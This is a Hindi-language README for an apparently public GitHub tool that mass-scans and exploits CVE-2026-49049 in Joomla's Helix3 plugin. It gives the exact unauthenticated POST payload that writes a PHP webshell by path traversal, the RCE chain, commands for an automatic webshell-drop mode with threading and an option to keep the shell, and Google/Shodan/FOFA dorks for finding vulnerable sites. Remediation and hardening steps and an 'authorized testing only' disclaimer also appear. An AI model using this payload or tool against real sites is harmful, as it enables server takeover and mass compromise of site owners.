CVE-2026-49049 — Helix3 (JoomShaper) Joomla अप्रमाणित AJAX RCE स्कैनर

मास स्कैनर / सत्यापनकर्ता CVE-2026-49049 के लिए: Joomla के Helix3 Framework प्लगइन में अप्रमाणित AJAX हैंडलर (v1.0 – 3.1.0, 3.1.1+ में पैच किया गया)।

केवल अधिकृत परीक्षण। केवल उन प्रणालियों पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण की लिखित अनुमति है।

विषयसूची

• भेद्यता अवलोकन
• RCE श्रृंखला
• स्थापना
• उपयोग विधि (Usage)
• उदाहरण आउटपुट
• टोही डॉर्क्स
• सुधार विधि (Remediation)
• परियोजना संरचना
• योगदान
• संदर्भ
• अस्वीकरण

भेद्यता अवलोकन

हैंडलर onAjaxHelix3() फ़ाइल plugins/ajax/helix3/helix3.php में Joomla com_ajax के माध्यम से बिना प्रमाणीकरण / CSRF टोकन के पहुँच योग्य है:

POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded

data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>

RCE श्रृंखला

सक्रिय सामूहिक शोषण अक्सर डबल-एक्सटेंशन वेबशेल गिराता है:

1. Helix3 + संस्करण < 3.1.1 का पता लगाएँ
2. save का उपयोग layoutName=../../up.php + PHP वेबशेल सामग्री के साथ करें
3. सेव .json जोड़ता है → up.php.json वेब रूट में आता है
4. Apache AddHandler मल्टी-एक्सटेंशन .php टोकन को निष्पादित करता है
5. GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OK

डिटेक्ट Helix3
    → POST com_ajax?plugin=helix3 (action=save, traversal)
    → up.php.json लिखा
    → GET up.php.json?cmd=id
    → uid=33(www-data)

स्थापना

git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

आवश्यकताएँ: requests>=2.31.0, colorama>=0.4.6, Python 3.9+।

उपयोग विधि (Usage)

1. लक्ष्य तैयार करें

targets.txt संपादित करें — प्रति पंक्ति एक URL/होस्ट (# = टिप्पणी)। Joomla पथ बनाए रखा गया है:

# उदाहरण
https://example.com/
https://example.com/joomla/
http://192.168.1.50/

2. केवल-पढ़ने के लिए स्कैन (केवल पहचान)

वेबशेल ड्रॉप नहीं करता। संस्करण जाँच + save / remove / import प्रोब करें:

python3 scan.py -f targets.txt --scan -o results.txt

3. ऑटो: पहचान + वेबशेल ड्रॉप + RCE सत्यापन

python3 scan.py -f targets.txt --auto -c "id" -o results.txt

4. एकल लक्ष्य

python3 scan.py -t https://target.tld/joomla/ --auto -c "id"

5. उन्नत विकल्प

# सत्यापन के बाद वेबशेल रखें (अधिकृत डेमो)
python3 scan.py -f targets.txt --auto --keep

# कस्टम वेबशेल नाम + ट्रैवर्सल गहराई
python3 scan.py -f targets.txt --auto \
  --webshell-name up.php \
  --traversal-depths "../../,../../../"

# JSON रिपोर्ट + समवर्तीता
python3 scan.py -f targets.txt --auto -c "whoami" \
  --threads 20 --timeout 15 \
  -o results.txt --json report.json

# प्रॉक्सी (Burp / आदि)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080

महत्वपूर्ण फ़्लैग

चेतावनी: मोड --auto पथ ट्रैवर्सल के माध्यम से वेबशेल लिखने का प्रयास करता है। डिफ़ॉल्ट: सत्यापन के बाद वेबशेल हटा दिया जाता है। केवल अधिकृत डेमो के लिए --keep का उपयोग करें।

उदाहरण आउटपुट

टर्मिनल सभी स्थितियाँ दिखाता है (प्रगति)। results.txt केवल वही रखता है जो असुरक्षित हैं:

[v] CVE-2026-49049 SHELL OK  https://target.tld  Helix3 2.5.6  save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell)         https://target.tld  Helix3 3.0.2  save=Y remove=Y import=Y

अन्य लेबल (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) केवल टर्मिनल में, results.txt में नहीं।

टोही डॉर्क्स

नीचे दिए गए डॉर्क का उपयोग Helix3 / Joomla संपत्तियों को खोजने के लिए करें जो प्रभावित हो सकती हैं। केवल अनुमत लक्ष्यों को स्कैन करें।

Google

inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/

Shodan

http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"

FOFA

body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"

मैन्युअल फ़िंगरप्रिंट (होस्ट प्राप्त करने के बाद)

# संस्करण जाँच
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version

# बिना प्रमाणीकरण save प्रोब (केवल अधिकृत)
curl -sk -X POST \
  'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

सुधार विधि (Remediation)

1. तुरंत पैच करें (अनिवार्य)

System – Helix3 Framework और Helix3 – Ajax प्लगइन को 3.1.1 या नए (अनुशंसित 3.1.2) में अपडेट करें।

• Joomla बैकएंड → System → Update / Extensions
• या JoomShaper से आधिकारिक पैकेज डाउनलोड करें और मैन्युअल इंस्टॉल करें

2. यदि पहले से समझौता / विकृत हो चुका है

अपडेट DB में पहले से डाले गए पेलोड को साफ़ नहीं करता।

1. बैकएंड → Site Template Styles → सक्रिय Helix3 टेम्पलेट
2. Custom Code खोलें — Custom JavaScript / CSS / Before Head में बाहरी स्क्रिप्ट हटाएँ
3. तालिका #__template_styles में params कॉलम को custom_js / custom_css इंजेक्शन के लिए जाँचें
4. वेब रूट / templates / tmp / media में संदिग्ध फ़ाइलें हटाएँ:
   • up.php.json, cox.json, *.php.json, अन्य वेबशेल
5. एडमिन क्रेडेंशियल बदलें, उपयोगकर्ता खातों की समीक्षा करें, cron / शेड्यूल किए गए कार्यों का ऑडिट करें

सामान्य समझौता संकेत: विकृति "Hacked by AntonKill" / "trenggalek6etar", custom_js इंजेक्शन, अज्ञात JSON फ़ाइलें।

3. हार्डनिंग (गहराई में सुरक्षा)

Apache — AddHandler मल्टी-एक्सटेंशन का उपयोग न करें; इसके बजाय उपयोग करें:

<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Nginx:

location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/run/php/php-fpm.sock;
}

PHP php.ini:

disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec

अपलोड / फ़ाइल लेखन: फ़ाइल नाम पुनर्जीवित करें, मल्टी-डॉट एक्सटेंशन अस्वीकार करें, सार्वजनिक निर्देशिका में AllowOverride None।

4. पैच के बाद सत्यापन

python3 scan.py -t https://YOUR-SITE/ --scan
# अपेक्षित: PATCHED  Helix3 3.1.1+  (या NOT_HELIX3 यदि प्लगइन अनइंस्टॉल किया गया)

परियोजना संरचना

CVE-2026-49049/
├── scan.py              # CLI प्रवेश बिंदु
├── core/
│   ├── engine.py        # ThreadPoolExecutor + परिणाम (केवल असुरक्षित फ़ाइल में)
│   ├── probe.py         # Helix3 पहचान + save/remove/import + RCE ड्रॉप
│   └── target.py        # targets.txt को पार्स / सामान्य करें
├── utils/
│   └── banner.py
├── targets.txt          # इनपुट लक्ष्य
├── results.txt          # उत्पन्न (केवल VULN / SHELL_OK)
├── requirements.txt
└── README.md

योगदान

समुदाय से योगदान स्वीकार किया जाता है। अनुरक्षक: ExDev994।

दिशानिर्देश

• लाइव लक्ष्य / स्कैन परिणाम / वेबशेल / क्रेडेंशियल कमिट न करें
• चेतावनी “केवल अधिकृत परीक्षण” को कम न करें
• छोटे PR पसंद करें (प्रति PR एक विषय)
• मौजूदा Python शैली का पालन करें (from __future__ import annotations, type hints)
• स्थानीय परीक्षण: python3 -m py_compile scan.py core/*.py utils/*.py और python3 scan.py --help

मुद्दे

बग/सुविधा अनुरोध Issues पर रिपोर्ट करें। शामिल करें:

• Python & OS संस्करण
• चलाया गया कमांड
• आउटपुट / ट्रेसबैक (संवेदनशील लक्ष्य छिपाएँ)

योगदानकर्ता

भेद्यता मूल रूप से Phil Taylor (mySites.guru) द्वारा रिपोर्ट की गई। यह रिपॉजिटरी एक स्वतंत्र स्कैनर कार्यान्वयन है और JoomShaper या Open Source Matters से संबद्ध नहीं है।

संदर्भ

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49049
• सलाह (mySites.guru): https://mysites.guru/blog/helix3-security-update-changelog-failure/
• JoomShaper Helix3: https://www.joomshaper.com/
• केवल-पढ़ने के लिए PoC संदर्भ: https://github.com/shinthink/CVE-2026-49049
• यह रिपॉजिटरी: https://github.com/ExDev994/CVE-2026-49049

अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।

कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है और इसमें इंडोनेशिया UU ITE, US CFAA, और अन्य क्षेत्राधिकारों के समान क़ानूनों का उल्लंघन हो सकता है।

लेखक (ExDev994) दुरुपयोग के लिए कोई देयता नहीं मानता। इस सॉफ़्टवेयर का उपयोग करके आप अपने कार्यों की पूरी जिम्मेदारी स्वीकार करते हैं। मोड --auto एक अस्थायी वेबशेल गिराता है — केवल अधिकृत लक्ष्यों पर उपयोग करें।